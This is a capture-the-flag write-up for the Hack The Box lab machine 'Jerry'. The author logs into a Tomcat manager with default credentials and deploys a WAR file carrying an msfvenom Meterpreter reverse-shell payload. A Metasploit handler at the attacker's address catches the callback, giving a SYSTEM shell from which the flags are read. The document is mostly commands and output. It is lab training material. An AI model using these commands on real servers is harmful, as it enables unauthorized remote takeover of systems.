Details

This machine is Jerry from Hack The Box

Recon

A simple service discovery scan

root@kali:~# nmap -sV -p- -T4 10.10.10.95
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-13 16:36 EDT
Nmap scan report for 10.10.10.95
Host is up (0.033s latency).
Not shown: 65534 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.81 seconds

The Box

Start at http://10.10.10.95:8080/

I clicked on manager app, it asked for creds but when I clicked cancel I got redirected

It gave example creds of

tomcat:s3cret

So I tried them

The deploy thing caught my attention

So I created a poisoned war file

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.35 LPORT=4444 -a x64 -f war -o rev

And setup a handler

root@kali:~# msfconsole
msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.14.35
LHOST => 10.10.14.35

msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.35:4444 

I unzipped the war to check the filename

root@kali:~# unzip rev.war
Archive:  rev.war
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF
   creating: WEB-INF/
  inflating: WEB-INF/web.xml
  inflating: qwnblchkvfzgfvp.jsp  

So off to http://10.10.10.95:8080/rev/qwnblchkvfzgfvp.jsp and check the handler

[*] Sending stage (206403 bytes) to 10.10.10.95
[*] Meterpreter session 1 opened (10.10.14.35:4444 -> 10.10.10.95:49193) at 2019-07-13 17:08:23 -0400

meterpreter > 

There's my shell

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Already system

metereter > cd C:\\Users
meterpreter > dir
Listing: C:\Users
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   0     dir   2018-06-18 16:31:25 -0400  Administrator
40777/rwxrwxrwx   0     dir   2013-08-22 10:48:41 -0400  All Users
40555/r-xr-xr-x   8192  dir   2013-08-22 09:36:16 -0400  Default
40777/rwxrwxrwx   0     dir   2013-08-22 10:48:41 -0400  Default User
40555/r-xr-xr-x   4096  dir   2013-08-22 09:36:16 -0400  Public
100666/rw-rw-rw-  174   fil   2013-08-22 11:39:32 -0400  desktop.ini

meterpreter > cd Administrator\\Desktop
meterpreter > dir
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2018-06-18 16:31:28 -0400  desktop.ini
40777/rwxrwxrwx   0     dir   2018-06-19 00:09:28 -0400  flags

meterpreter > cd flags

meterpreter > dir
Listing: C:\Users\Administrator\Desktop\flags
=============================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  88    fil   2018-06-19 00:09:35 -0400  2 for the price of 1.txt

meterpreter > cat 2\ for\ the\ price\ of\ 1.txt
user.txt
[REDACTED]

root.txt
[REDACTED]